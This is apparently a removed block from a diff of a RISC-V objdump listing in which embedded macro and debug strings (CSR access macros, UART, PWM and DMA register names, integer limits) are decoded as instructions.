-    2d98:	5f36                	lw	t5,108(sp)
-    2d9a:	414d                	li	sp,19
-    2d9c:	5f58                	lw	a4,60(a4)
-    2d9e:	205f 7830 6637      	0x66377830205f
-    2da4:	6666                	flw	fa2,88(sp)
-    2da6:	5300                	lw	s0,32(a4)
-    2da8:	455f 464e 544d      	0x544d464e455f
-    2dae:	3020                	fld	fs0,96(s0)
-    2db0:	3030                	fld	fa2,96(s0)
-    2db2:	3032                	fld	ft0,296(sp)
-    2db4:	3030                	fld	fa2,96(s0)
-    2db6:	5f00                	lw	s0,56(a4)
-    2db8:	4e55                	li	t3,21
-    2dba:	5349                	li	t1,-14
-    2dbc:	4454                	lw	a3,12(s0)
-    2dbe:	485f 205f 5f00      	0x5f00205f485f
-    2dc4:	465f 544c 4d5f      	0x4d5f544c465f
-    2dca:	4e41                	li	t3,16
-    2dcc:	5f54                	lw	a3,60(a4)
-    2dce:	4944                	lw	s1,20(a0)
-    2dd0:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
-    2dd4:	3432                	fld	fs0,296(sp)
-    2dd6:	4100                	lw	s0,0(a0)
-    2dd8:	4752                	lw	a4,20(sp)
-    2dda:	4d5f 5841 3620      	0x362058414d5f
-    2de0:	3535                	jal	2c0c <__stack_size+0x240c>
-    2de2:	5f003633          	0x5f003633
-    2de6:	615f 7373 7265      	0x72657373615f
-    2dec:	7374                	flw	fa3,100(a4)
-    2dee:	655f 6378 756c      	0x756c6378655f
-    2df4:	65766973          	csrrsi	s2,0x657,12
-    2df8:	2e28                	fld	fa0,88(a2)
-    2dfa:	2e2e                	fld	ft8,200(sp)
-    2dfc:	2029                	jal	2e06 <__stack_size+0x2606>
-    2dfe:	5f5f 6f6c 6b63      	0x6b636f6c5f5f
-    2e04:	615f 6e6e 746f      	0x746f6e6e615f
-    2e0a:	7461                	lui	s0,0xffff8
-    2e0c:	2865                	jal	2ec4 <__stack_size+0x26c4>
-    2e0e:	7361                	lui	t1,0xffff8
-    2e10:	74726573          	csrrsi	a0,0x747,4
-    2e14:	655f 6378 756c      	0x756c6378655f
-    2e1a:	65766973          	csrrsi	s2,0x657,12
-    2e1e:	6c5f 636f 286b      	0x286b636f6c5f
-    2e24:	5f5f 4156 415f      	0x415f41565f5f
-    2e2a:	4752                	lw	a4,20(sp)
-    2e2c:	295f5f53          	0x295f5f53
-    2e30:	0029                	c.nop	10
-    2e32:	4548                	lw	a0,12(a0)
-    2e34:	4658                	lw	a4,12(a2)
-    2e36:	5649                	li	a2,-14
-    2e38:	5f45                	li	t5,-15
-    2e3a:	4c50                	lw	a2,28(s0)
-    2e3c:	5441                	li	s0,-16
-    2e3e:	4f46                	lw	t5,80(sp)
-    2e40:	4d52                	lw	s10,20(sp)
-    2e42:	485f 0020 505f      	0x505f0020485f
-    2e48:	4854                	lw	a3,20(s0)
-    2e4a:	4552                	lw	a0,20(sp)
-    2e4c:	4441                	li	s0,16
-    2e4e:	435f 4e4f 5f44      	0x5f444e4f435f
-    2e54:	4e49                	li	t3,18
-    2e56:	5449                	li	s0,-14
-    2e58:	4149                	li	sp,18
-    2e5a:	494c                	lw	a1,20(a0)
-    2e5c:	455a                	lw	a0,148(sp)
-    2e5e:	2052                	fld	ft0,272(sp)
-    2e60:	2828                	fld	fa0,80(s0)
-    2e62:	7470                	flw	fa2,108(s0)
-    2e64:	7268                	flw	fa0,100(a2)
-    2e66:	6165                	addi	sp,sp,112
-    2e68:	5f64                	lw	s1,124(a4)
-    2e6a:	646e6f63          	bltu	t3,t1,34c8 <__stack_size+0x2cc8>
-    2e6e:	745f 2029 7830      	0x78302029745f
-    2e74:	4646                	lw	a2,80(sp)
-    2e76:	4646                	lw	a2,80(sp)
-    2e78:	4646                	lw	a2,80(sp)
-    2e7a:	4646                	lw	a2,80(sp)
-    2e7c:	0029                	c.nop	10
-    2e7e:	52525343          	fmadd.d	ft6,ft4,ft5,fa0,unknown
-    2e82:	6328                	flw	fa0,64(a4)
-    2e84:	20297273          	csrrci	tp,hedeleg,18
-    2e88:	7b28                	flw	fa0,112(a4)
-    2e8a:	7520                	flw	fs0,104(a0)
-    2e8c:	736e                	flw	ft6,248(sp)
-    2e8e:	6769                	lui	a4,0x1a
-    2e90:	656e                	flw	fa0,216(sp)
-    2e92:	2064                	fld	fs1,192(s0)
-    2e94:	6f6c                	flw	fa1,92(a4)
-    2e96:	676e                	flw	fa4,216(sp)
-    2e98:	7220                	flw	fs0,96(a2)
-    2e9a:	3b64                	fld	fs1,240(a4)
-    2e9c:	6120                	flw	fs0,64(a0)
-    2e9e:	76206d73          	csrrsi	s10,0x762,0
-    2ea2:	74616c6f          	jal	s8,195e8 <__stack_size+0x18de8>
-    2ea6:	6c69                	lui	s8,0x1a
-    2ea8:	2065                	jal	2f50 <__stack_size+0x2750>
-    2eaa:	2228                	fld	fa0,64(a2)
-    2eac:	72727363          	bgeu	tp,t2,35d2 <__stack_size+0x2dd2>
-    2eb0:	2520                	fld	fs0,72(a0)
-    2eb2:	2c30                	fld	fa2,88(s0)
-    2eb4:	2220                	fld	fs0,64(a2)
-    2eb6:	2320                	fld	fs0,64(a4)
-    2eb8:	20727363          	bgeu	tp,t2,30be <__stack_size+0x28be>
-    2ebc:	203a                	fld	ft0,392(sp)
-    2ebe:	3d22                	fld	fs10,40(sp)
-    2ec0:	2272                	fld	ft4,280(sp)
-    2ec2:	7228                	flw	fa0,96(a2)
-    2ec4:	2964                	fld	fs1,208(a0)
-    2ec6:	3b29                	jal	2be0 <__stack_size+0x23e0>
-    2ec8:	7220                	flw	fs0,96(a2)
-    2eca:	3b64                	fld	fs1,240(a4)
-    2ecc:	7d20                	flw	fs0,120(a0)
-    2ece:	0029                	c.nop	10
-    2ed0:	535f 5f43 4342      	0x43425f43535f
-    2ed6:	425f 5341 5f45      	0x5f455341425f
-    2edc:	414d                	li	sp,19
-    2ede:	2058                	fld	fa4,128(s0)
-    2ee0:	3735                	jal	2e0c <__stack_size+0x260c>
-    2ee2:	4200                	lw	s0,0(a2)
-    2ee4:	5459                	li	s0,-10
-    2ee6:	5f45                	li	t5,-15
-    2ee8:	4544524f          	0x4544524f
-    2eec:	2052                	fld	ft0,272(sp)
-    2eee:	425f 5459 5f45      	0x5f455459425f
-    2ef4:	4544524f          	0x4544524f
-    2ef8:	0052                	c.slli	zero,0x14
-    2efa:	5f5f 4c46 3654      	0x36544c465f5f
-    2f00:	5f34                	lw	a3,120(a4)
-    2f02:	4148                	lw	a0,4(a0)
-    2f04:	55515f53          	0x55515f53
-    2f08:	4549                	li	a0,18
-    2f0a:	5f54                	lw	a3,60(a4)
-    2f0c:	414e                	lw	sp,208(sp)
-    2f0e:	5f4e                	lw	t5,240(sp)
-    2f10:	205f 0031 5a4d      	0x5a4d0031205f
-    2f16:	5f454e4f          	fnmadd.q	ft8,fa0,fs4,fa1,rmm
-    2f1a:	49545257          	0x49545257
-    2f1e:	454d                	li	a0,19
-    2f20:	28504d43          	fmadd.s	fs10,ft0,ft5,ft5,rmm
-    2f24:	6176                	flw	ft2,92(sp)
-    2f26:	296c                	fld	fa1,208(a0)
-    2f28:	6120                	flw	fs0,64(a0)
-    2f2a:	76206d73          	csrrsi	s10,0x762,0
-    2f2e:	74616c6f          	jal	s8,19674 <__stack_size+0x18e74>
-    2f32:	6c69                	lui	s8,0x1a
-    2f34:	2065                	jal	2fdc <__stack_size+0x27dc>
-    2f36:	2028                	fld	fa0,64(s0)
-    2f38:	6d22                	flw	fs10,8(sp)
-    2f3a:	2076                	fld	ft0,344(sp)
-    2f3c:	3161                	jal	2bc4 <__stack_size+0x23c4>
-    2f3e:	202c                	fld	fa1,64(s0)
-    2f40:	3025                	jal	2768 <__stack_size+0x1f68>
-    2f42:	766d203b          	0x766d203b
-    2f46:	6120                	flw	fs0,64(a0)
-    2f48:	2c32                	fld	fs8,264(sp)
-    2f4a:	2520                	fld	fs0,72(a0)
-    2f4c:	3b31                	jal	2c68 <__stack_size+0x2468>
-    2f4e:	2022                	fld	ft0,8(sp)
-    2f50:	6c22                	flw	fs8,8(sp)
-    2f52:	2069                	jal	2fdc <__stack_size+0x27dc>
-    2f54:	3061                	jal	27dc <__stack_size+0x1fdc>
-    2f56:	202c                	fld	fa1,64(s0)
-    2f58:	3b36                	fld	fs6,360(sp)
-    2f5a:	2022                	fld	ft0,8(sp)
-    2f5c:	7a6d                	lui	s4,0xffffb
-    2f5e:	20656e6f          	jal	t3,59164 <__stack_size+0x58964>
-    2f62:	203a                	fld	ft0,392(sp)
-    2f64:	203a                	fld	ft0,392(sp)
-    2f66:	7222                	flw	ft4,40(sp)
-    2f68:	2822                	fld	fa6,8(sp)
-    2f6a:	7528                	flw	fa0,104(a0)
-    2f6c:	6e69                	lui	t3,0x1a
-    2f6e:	3374                	fld	fa3,224(a4)
-    2f70:	5f32                	lw	t5,44(sp)
-    2f72:	2974                	fld	fa3,208(a0)
-    2f74:	6176                	flw	ft2,92(sp)
-    2f76:	296c                	fld	fa1,208(a0)
-    2f78:	202c                	fld	fa1,64(s0)
-    2f7a:	7222                	flw	ft4,40(sp)
-    2f7c:	2822                	fld	fa6,8(sp)
-    2f7e:	7528                	flw	fa0,104(a0)
-    2f80:	6e69                	lui	t3,0x1a
-    2f82:	3374                	fld	fa3,224(a4)
-    2f84:	5f32                	lw	t5,44(sp)
-    2f86:	2974                	fld	fa3,208(a0)
-    2f88:	2828                	fld	fa0,80(s0)
-    2f8a:	6975                	lui	s2,0x1d
-    2f8c:	746e                	flw	fs0,248(sp)
-    2f8e:	3436                	fld	fs0,360(sp)
-    2f90:	745f 7629 6c61      	0x6c617629745f
-    2f96:	3e3e                	fld	ft8,488(sp)
-    2f98:	29293233          	0x29293233
-    2f9c:	3a20                	fld	fs0,112(a2)
-    2f9e:	2220                	fld	fs0,64(a2)
-    2fa0:	3061                	jal	2828 <__stack_size+0x2028>
-    2fa2:	2c22                	fld	fs8,8(sp)
-    2fa4:	2220                	fld	fs0,64(a2)
-    2fa6:	3161                	jal	2c2e <__stack_size+0x242e>
-    2fa8:	2c22                	fld	fs8,8(sp)
-    2faa:	2220                	fld	fs0,64(a2)
-    2fac:	3261                	jal	2934 <__stack_size+0x2134>
-    2fae:	2022                	fld	ft0,8(sp)
-    2fb0:	3b29                	jal	2cca <__stack_size+0x24ca>
-    2fb2:	4300                	lw	s0,0(a4)
-    2fb4:	4d5f5253          	0x4d5f5253
-    2fb8:	5048                	lw	a0,36(s0)
-    2fba:	434d                	li	t1,19
-    2fbc:	544e554f          	0x544e554f
-    2fc0:	5245                	li	tp,-15
-    2fc2:	31204833          	0x31204833
-    2fc6:	0039                	c.nop	14
-    2fc8:	5f5f 7361 6573      	0x657373615f5f
-    2fce:	7472                	flw	fs0,60(sp)
-    2fd0:	68735f73          	csrrwi	t5,0x687,6
-    2fd4:	7261                	lui	tp,0xffff8
-    2fd6:	6465                	lui	s0,0x19
-    2fd8:	2e28                	fld	fa0,88(a2)
-    2fda:	2e2e                	fld	ft8,200(sp)
-    2fdc:	2029                	jal	2fe6 <__stack_size+0x27e6>
-    2fde:	5f5f 6f6c 6b63      	0x6b636f6c5f5f
-    2fe4:	615f 6e6e 746f      	0x746f6e6e615f
-    2fea:	7461                	lui	s0,0xffff8
-    2fec:	2865                	jal	30a4 <__stack_size+0x28a4>
-    2fee:	7361                	lui	t1,0xffff8
-    2ff0:	74726573          	csrrsi	a0,0x747,4
-    2ff4:	735f 6168 6572      	0x65726168735f
-    2ffa:	5f64                	lw	s1,124(a4)
-    2ffc:	6f6c                	flw	fa1,92(a4)
-    2ffe:	5f286b63          	bltu	a6,s2,35f4 <__stack_size+0x2df4>
-    3002:	565f 5f41 5241      	0x52415f41565f
-    3008:	5f5f5347          	fmsub.q	ft6,ft10,fs5,fa1,unknown
-    300c:	2929                	jal	3426 <__stack_size+0x2c26>
-    300e:	4200                	lw	s0,0(a2)
-    3010:	4e54                	lw	a3,28(a2)
-    3012:	5f30                	lw	a2,120(a4)
-    3014:	5249                	li	tp,-14
-    3016:	2051                	jal	309a <__stack_size+0x289a>
-    3018:	3631                	jal	2b24 <__stack_size+0x2324>
-    301a:	5f00                	lw	s0,56(a4)
-    301c:	5f5f 6e69 3174      	0x31746e695f5f
-    3022:	5f36                	lw	t5,108(sp)
-    3024:	5f74                	lw	a3,124(a4)
-    3026:	6564                	flw	fs1,76(a0)
-    3028:	6966                	flw	fs2,88(sp)
-    302a:	656e                	flw	fa0,216(sp)
-    302c:	2064                	fld	fs1,192(s0)
-    302e:	0031                	c.nop	12
-    3030:	5f5f 4e47 4355      	0x43554e475f5f
-    3036:	494c                	lw	a1,20(a0)
-    3038:	4d5f454b          	0x4d5f454b
-    303c:	5441                	li	s0,-16
-    303e:	5f48                	lw	a0,60(a4)
-    3040:	5542                	lw	a0,48(sp)
-    3042:	4c49                	li	s8,18
-    3044:	4954                	lw	a3,20(a0)
-    3046:	5f4e                	lw	t5,240(sp)
-    3048:	4552                	lw	a0,20(sp)
-    304a:	4f4c                	lw	a1,28(a4)
-    304c:	5350                	lw	a2,36(a4)
-    304e:	0020                	addi	s0,sp,8
-    3050:	535f 4953 455a      	0x455a4953535f
-    3056:	545f 445f 4345      	0x4345445f545f
-    305c:	414c                	lw	a1,4(a0)
-    305e:	4552                	lw	a0,20(sp)
-    3060:	2044                	fld	fs1,128(s0)
-    3062:	5f00                	lw	s0,56(a4)
-    3064:	4955                	li	s2,21
-    3066:	544e                	lw	s0,240(sp)
-    3068:	3631                	jal	2b74 <__stack_size+0x2374>
-    306a:	545f 445f 4345      	0x4345445f545f
-    3070:	414c                	lw	a1,4(a0)
-    3072:	4552                	lw	a0,20(sp)
-    3074:	2044                	fld	fs1,128(s0)
-    3076:	5f00                	lw	s0,56(a4)
-    3078:	545f4353          	0x545f4353
-    307c:	5248                	lw	a0,36(a2)
-    307e:	4145                	li	sp,17
-    3080:	5f44                	lw	s1,60(a4)
-    3082:	5250                	lw	a2,36(a2)
-    3084:	4f49                	li	t5,18
-    3086:	505f 4f52 4554      	0x45544f52505f
-    308c:	34205443          	0x34205443
-    3090:	5f5f0037          	lui	zero,0x5f5f0
-    3094:	4f4c                	lw	a1,28(a4)
-    3096:	474e                	lw	a4,208(sp)
-    3098:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    309e:	3020                	fld	fs0,96(s0)
-    30a0:	3778                	fld	fa4,232(a4)
-    30a2:	6666                	flw	fa2,88(sp)
-    30a4:	6666                	flw	fa2,88(sp)
-    30a6:	6666                	flw	fa2,88(sp)
-    30a8:	4c66                	lw	s8,88(sp)
-    30aa:	5f00                	lw	s0,56(a4)
-    30ac:	325f4353          	0x325f4353
-    30b0:	465f 524f 5f54      	0x5f54524f465f
-    30b6:	5552                	lw	a0,52(sp)
-    30b8:	204e                	fld	ft0,208(sp)
-    30ba:	3131                	jal	2cc6 <__stack_size+0x24c6>
-    30bc:	0031                	c.nop	12
-    30be:	5f5f 4e49 5f54      	0x5f544e495f5f
-    30c4:	454c                	lw	a1,12(a0)
-    30c6:	5341                	li	t1,-16
-    30c8:	3854                	fld	fa3,176(s0)
-    30ca:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    30d0:	3020                	fld	fs0,96(s0)
-    30d2:	3778                	fld	fa4,232(a4)
-    30d4:	0066                	c.slli	zero,0x19
-    30d6:	515f 4155 5f44      	0x5f444155515f
-    30dc:	4948                	lw	a0,20(a0)
-    30de:	4f574847          	fmsub.q	fa6,fa4,fs5,fs1,rmm
-    30e2:	4452                	lw	s0,20(sp)
-    30e4:	3120                	fld	fs0,96(a0)
-    30e6:	5f00                	lw	s0,56(a4)
-    30e8:	465f 544c 4d5f      	0x4d5f544c465f
-    30ee:	4e49                	li	t3,18
-    30f0:	455f 5058 5f5f      	0x5f5f5058455f
-    30f6:	2820                	fld	fs0,80(s0)
-    30f8:	312d                	jal	2d22 <__stack_size+0x2522>
-    30fa:	3532                	fld	fa0,296(sp)
-    30fc:	0029                	c.nop	10
-    30fe:	6566                	flw	fa0,88(sp)
-    3100:	755f666f          	jal	a2,fa054 <__stack_size+0xf9854>
-    3104:	6c6e                	flw	fs8,216(sp)
-    3106:	656b636f          	jal	t1,b975c <__stack_size+0xb8f5c>
-    310a:	2864                	fld	fs1,208(s0)
-    310c:	2970                	fld	fa2,208(a0)
-    310e:	5f20                	lw	s0,120(a4)
-    3110:	735f 6566 666f      	0x666f6566735f
-    3116:	7028                	flw	fa0,96(s0)
-    3118:	0029                	c.nop	10
-    311a:	5f5f 5942 4554      	0x455459425f5f
-    3120:	4f5f 4452 5245      	0x524544524f5f
-    3126:	5f5f 5f20 4f5f      	0x4f5f5f205f5f
-    312c:	4452                	lw	s0,20(sp)
-    312e:	5245                	li	tp,-15
-    3130:	4c5f 5449 4c54      	0x4c5454494c5f
-    3136:	5f45                	li	t5,-15
-    3138:	4e45                	li	t3,17
-    313a:	4944                	lw	s1,20(a0)
-    313c:	4e41                	li	t3,16
-    313e:	5f5f 5f00 555f      	0x555f5f005f5f
-    3144:	4e49                	li	t3,18
-    3146:	3654                	fld	fa3,168(a2)
-    3148:	5f34                	lw	a3,120(a4)
-    314a:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
-    314e:	6320                	flw	fs0,64(a4)
-    3150:	2320                	fld	fs0,64(a4)
-    3152:	4c552023          	sw	t0,1216(a0) # 194c0 <__stack_size+0x18cc0>
-    3156:	004c                	addi	a1,sp,4
-    3158:	685f 776f 616d      	0x616d776f685f
-    315e:	796e                	flw	fs2,248(sp)
-    3160:	7828                	flw	fa0,112(s0)
-    3162:	792c                	flw	fa1,112(a0)
-    3164:	2029                	jal	316e <__stack_size+0x296e>
-    3166:	2828                	fld	fa0,80(s0)
-    3168:	7828                	flw	fa0,112(s0)
-    316a:	2b29                	jal	3684 <__stack_size+0x2e84>
-    316c:	2828                	fld	fa0,80(s0)
-    316e:	2979                	jal	360c <__stack_size+0x2e0c>
-    3170:	312d                	jal	2d9a <__stack_size+0x259a>
-    3172:	2929                	jal	358c <__stack_size+0x2d8c>
-    3174:	2979282f          	0x2979282f
-    3178:	0029                	c.nop	10
-    317a:	5f5f 7274 6c79      	0x6c7972745f5f
-    3180:	736b636f          	jal	t1,b98b6 <__stack_size+0xb90b6>
-    3184:	655f 6378 756c      	0x756c6378655f
-    318a:	65766973          	csrrsi	s2,0x657,12
-    318e:	2e28                	fld	fa0,88(a2)
-    3190:	2e2e                	fld	ft8,200(sp)
-    3192:	2029                	jal	319c <__stack_size+0x299c>
-    3194:	5f5f 6f6c 6b63      	0x6b636f6c5f5f
-    319a:	615f 6e6e 746f      	0x746f6e6e615f
-    31a0:	7461                	lui	s0,0xffff8
-    31a2:	2865                	jal	325a <__stack_size+0x2a5a>
-    31a4:	7865                	lui	a6,0xffff9
-    31a6:	73756c63          	bltu	a0,s7,38de <__stack_size+0x30de>
-    31aa:	7669                	lui	a2,0xffffa
-    31ac:	5f65                	li	t5,-7
-    31ae:	7274                	flw	fa3,100(a2)
-    31b0:	6c79                	lui	s8,0x1e
-    31b2:	5f6b636f          	jal	t1,b97a8 <__stack_size+0xb8fa8>
-    31b6:	7566                	flw	fa0,120(sp)
-    31b8:	636e                	flw	ft6,216(sp)
-    31ba:	6974                	flw	fa3,84(a0)
-    31bc:	5f286e6f          	jal	t3,897ae <__stack_size+0x88fae>
-    31c0:	565f 5f41 5241      	0x52415f41565f
-    31c6:	5f5f5347          	fmsub.q	ft6,ft10,fs5,fa1,unknown
-    31ca:	2929                	jal	35e4 <__stack_size+0x2de4>
-    31cc:	5f00                	lw	s0,56(a4)
-    31ce:	4c4e                	lw	s8,208(sp)
-    31d0:	4e49                	li	t3,18
-    31d2:	5f545f4b          	fnmsub.q	ft10,fs0,fs5,fa1,unknown
-    31d6:	4544                	lw	s1,12(a0)
-    31d8:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
-    31dc:	4445                	li	s0,17
-    31de:	0020                	addi	s0,sp,8
-    31e0:	616d                	addi	sp,sp,240
-    31e2:	6372                	flw	ft6,28(sp)
-    31e4:	6968                	flw	fa0,84(a0)
-    31e6:	0064                	addi	s1,sp,12
-    31e8:	5f5f 4953 455a      	0x455a49535f5f
-    31ee:	575f464f          	fnmadd.q	fa2,ft10,fs5,fa0,rmm
-    31f2:	52414843          	fmadd.d	fa6,ft2,ft4,fa0,rmm
-    31f6:	545f 5f5f 3420      	0x34205f5f545f
-    31fc:	5f00                	lw	s0,56(a4)
-    31fe:	7566                	flw	fa0,120(sp)
-    3200:	6c6e                	flw	fs8,216(sp)
-    3202:	666b636f          	jal	t1,b9868 <__stack_size+0xb9068>
-    3206:	6c69                	lui	s8,0x1a
-    3208:	2865                	jal	32c0 <__stack_size+0x2ac0>
-    320a:	7066                	flw	ft0,120(sp)
-    320c:	2029                	jal	3216 <__stack_size+0x2a16>
-    320e:	2828                	fld	fa0,80(s0)
-    3210:	6628                	flw	fa0,72(a2)
-    3212:	2970                	fld	fa2,208(a0)
-    3214:	3e2d                	jal	2d4e <__stack_size+0x254e>
-    3216:	665f 616c 7367      	0x7367616c665f
-    321c:	2620                	fld	fs0,72(a2)
-    321e:	5f20                	lw	s0,120(a4)
-    3220:	535f 5453 2952      	0x29525453535f
-    3226:	3f20                	fld	fs0,120(a4)
-    3228:	3020                	fld	fs0,96(s0)
-    322a:	3a20                	fld	fs0,112(a2)
-    322c:	5f20                	lw	s0,120(a4)
-    322e:	6c5f 636f 5f6b      	0x5f6b636f6c5f
-    3234:	6572                	flw	fa0,28(sp)
-    3236:	656c                	flw	fa1,76(a0)
-    3238:	7361                	lui	t1,0xffff8
-    323a:	5f65                	li	t5,-7
-    323c:	6572                	flw	fa0,28(sp)
-    323e:	73727563          	bgeu	tp,s7,3968 <__stack_size+0x3168>
-    3242:	7669                	lui	a2,0xffffa
-    3244:	2865                	jal	32fc <__stack_size+0x2afc>
-    3246:	6628                	flw	fa0,72(a2)
-    3248:	2970                	fld	fa2,208(a0)
-    324a:	3e2d                	jal	2d84 <__stack_size+0x2584>
-    324c:	6c5f 636f 296b      	0x296b636f6c5f
-    3252:	0029                	c.nop	10
-    3254:	5f5f 4152 444e      	0x444e41525f5f
-    325a:	4d5f 5841 3020      	0x302058414d5f
-    3260:	3778                	fld	fa4,232(a4)
-    3262:	6666                	flw	fa2,88(sp)
-    3264:	6666                	flw	fa2,88(sp)
-    3266:	6666                	flw	fa2,88(sp)
-    3268:	0066                	c.slli	zero,0x19
-    326a:	545f 4d49 5645      	0x56454d49545f
-    3270:	4c41                	li	s8,16
-    3272:	445f 4645 4e49      	0x4e494645445f
-    3278:	4445                	li	s0,17
-    327a:	0020                	addi	s0,sp,8
-    327c:	5750                	lw	a2,44(a4)
-    327e:	5f4d                	li	t5,-13
-    3280:	5f474643          	fmadd.q	fa2,fa4,fs4,fa1,rmm
-    3284:	32504d43          	fmadd.d	fs10,ft0,ft5,ft6,rmm
-    3288:	544e4543          	0x544e4543
-    328c:	5245                	li	tp,-15
-    328e:	3020                	fld	fs0,96(s0)
-    3290:	3078                	fld	fa4,224(s0)
-    3292:	3030                	fld	fa2,96(s0)
-    3294:	3034                	fld	fa3,96(s0)
-    3296:	3030                	fld	fa2,96(s0)
-    3298:	0030                	addi	a2,sp,8
-    329a:	5f5f 4c46 5f54      	0x5f544c465f5f
-    32a0:	5645                	li	a2,-15
-    32a2:	4c41                	li	s8,16
-    32a4:	4d5f 5445 4f48      	0x4f4854454d5f
-    32aa:	5f44                	lw	s1,60(a4)
-    32ac:	5354                	lw	a3,36(a4)
-    32ae:	315f 3638 3136      	0x31363638315f
-    32b4:	335f 5f5f 3020      	0x30205f5f335f
-    32ba:	7300                	flw	fs0,32(a4)
-    32bc:	7274                	flw	fa3,100(a2)
-    32be:	636e                	flw	ft6,216(sp)
-    32c0:	7970                	flw	fa2,116(a0)
-    32c2:	5f00                	lw	s0,56(a4)
-    32c4:	555f 4e49 4d54      	0x4d544e49555f
-    32ca:	5841                	li	a6,-16
-    32cc:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    32d2:	3020                	fld	fs0,96(s0)
-    32d4:	6678                	flw	fa4,76(a2)
-    32d6:	6666                	flw	fa2,88(sp)
-    32d8:	6666                	flw	fa2,88(sp)
-    32da:	6666                	flw	fa2,88(sp)
-    32dc:	6666                	flw	fa2,88(sp)
-    32de:	6666                	flw	fa2,88(sp)
-    32e0:	6666                	flw	fa2,88(sp)
-    32e2:	6666                	flw	fa2,88(sp)
-    32e4:	5566                	lw	a0,120(sp)
-    32e6:	4c4c                	lw	a1,28(s0)
-    32e8:	4300                	lw	s0,0(a4)
-    32ea:	4d5f5253          	0x4d5f5253
-    32ee:	5048                	lw	a0,36(s0)
-    32f0:	434d                	li	t1,19
-    32f2:	544e554f          	0x544e554f
-    32f6:	5245                	li	tp,-15
-    32f8:	3632                	fld	fa2,296(sp)
-    32fa:	3220                	fld	fs0,96(a2)
-    32fc:	0031                	c.nop	12
-    32fe:	4155                	li	sp,21
-    3300:	5452                	lw	s0,52(sp)
-    3302:	525f 4358 5254      	0x52544358525f
-    3308:	204c                	fld	fa1,128(s0)
-    330a:	7830                	flw	fa2,112(s0)
-    330c:	6330                	flw	fa2,64(a4)
-    330e:	5f00                	lw	s0,56(a4)
-    3310:	4350                	lw	a2,4(a4)
-    3312:	415f 4c4c 434f      	0x434f4c4c415f
-    3318:	535f 5a49 5f45      	0x5f455a49535f
-    331e:	494d                	li	s2,19
-    3320:	204e                	fld	ft0,208(sp)
-    3322:	3531                	jal	312e <__stack_size+0x292e>
-    3324:	5f00                	lw	s0,56(a4)
-    3326:	495f 544e 5450      	0x5450544e495f
-    332c:	5f52                	lw	t5,52(sp)
-    332e:	5954                	lw	a3,52(a0)
-    3330:	4550                	lw	a2,12(a0)
-    3332:	5f5f 6920 746e      	0x746e69205f5f
-    3338:	5f00                	lw	s0,56(a4)
-    333a:	465f 544c 525f      	0x525f544c465f
-    3340:	4441                	li	s0,16
-    3342:	5849                	li	a6,-14
-    3344:	5f5f 3220 5f00      	0x5f0032205f5f
-    334a:	4c5f4353          	0x4c5f4353
-    334e:	5645                	li	a2,-15
-    3350:	4c45                	li	s8,17
-    3352:	5f32                	lw	t5,44(sp)
-    3354:	48434143          	fmadd.s	ft2,ft6,ft4,fs1,rmm
-    3358:	5f45                	li	t5,-15
-    335a:	455a4953          	0x455a4953
-    335e:	3120                	fld	fs0,96(a0)
-    3360:	4c003133          	0x4c003133
-    3364:	5f4b434f          	fnmadd.q	ft6,fs6,fs4,fa1,rmm
-    3368:	424e                	lw	tp,208(sp)
-    336a:	3020                	fld	fs0,96(s0)
-    336c:	3078                	fld	fa4,224(s0)
-    336e:	0034                	addi	a3,sp,8
-    3370:	535f 5f43 4f58      	0x4f585f43535f
-    3376:	4550                	lw	a2,12(a0)
-    3378:	5f4e                	lw	t5,240(sp)
-    337a:	454c                	lw	a1,12(a0)
-    337c:	59434147          	fmsub.s	ft2,ft6,fs4,fa1,rmm
-    3380:	3920                	fld	fs0,112(a0)
-    3382:	0038                	addi	a4,sp,8
-    3384:	525f 4545 544e      	0x544e4545525f
-    338a:	435f 4548 4b43      	0x4b434548435f
-    3390:	545f 284d 7470      	0x7470284d545f
-    3396:	2972                	fld	fs2,280(sp)
-    3398:	0020                	addi	s0,sp,8
-    339a:	5442                	lw	s0,48(sp)
-    339c:	314e                	fld	ft2,240(sp)
-    339e:	495f 5152 3120      	0x31205152495f
-    33a4:	5f5f0037          	lui	zero,0x5f5f0
-    33a8:	6972                	flw	fs2,28(sp)
-    33aa:	5f766373          	csrrsi	t1,0x5f7,12
-    33ae:	756d                	lui	a0,0xffffb
-    33b0:	646c                	flw	fa1,76(s0)
-    33b2:	7669                	lui	a2,0xffffa
-    33b4:	3120                	fld	fs0,96(a0)
-    33b6:	4c00                	lw	s0,24(s0)
-    33b8:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
-    33bc:	4f4c                	lw	a1,28(a4)
-    33be:	474e                	lw	a4,208(sp)
-    33c0:	4d5f 4e49 2820      	0x28204e494d5f
-    33c6:	4c2d                	li	s8,11
-    33c8:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
-    33cc:	4f4c                	lw	a1,28(a4)
-    33ce:	474e                	lw	a4,208(sp)
-    33d0:	4d5f 5841 2d20      	0x2d2058414d5f
-    33d6:	3120                	fld	fs0,96(a0)
-    33d8:	4c4c                	lw	a1,28(s0)
-    33da:	0029                	c.nop	10
-    33dc:	4d44                	lw	s1,28(a0)
-    33de:	5f41                	li	t5,-16
-    33e0:	4142                	lw	sp,16(sp)
-    33e2:	30204553          	0x30204553
-    33e6:	3178                	fld	fa4,224(a0)
-    33e8:	3030                	fld	fa2,96(s0)
-    33ea:	3034                	fld	fa3,96(s0)
-    33ec:	3030                	fld	fa2,96(s0)
-    33ee:	0030                	addi	a2,sp,8
-    33f0:	525f 4545 544e      	0x544e4545525f
-    33f6:	495f 494e 5f54      	0x5f54494e495f
-    33fc:	5450                	lw	a2,44(s0)
-    33fe:	2852                	fld	fa6,272(sp)
-    3400:	6176                	flw	ft2,92(sp)
-    3402:	2972                	fld	fs2,280(sp)
-    3404:	7b20                	flw	fs0,112(a4)
-    3406:	6d20                	flw	fs0,88(a0)
-    3408:	6d65                	lui	s10,0x19
-    340a:	28746573          	csrrsi	a0,0x287,8
-    340e:	7628                	flw	fa0,104(a2)
-    3410:	7261                	lui	tp,0xffff8
-    3412:	2c29                	jal	362c <__stack_size+0x2e2c>
-    3414:	3020                	fld	fs0,96(s0)
-    3416:	202c                	fld	fa1,64(s0)
-    3418:	657a6973          	csrrsi	s2,0x657,20
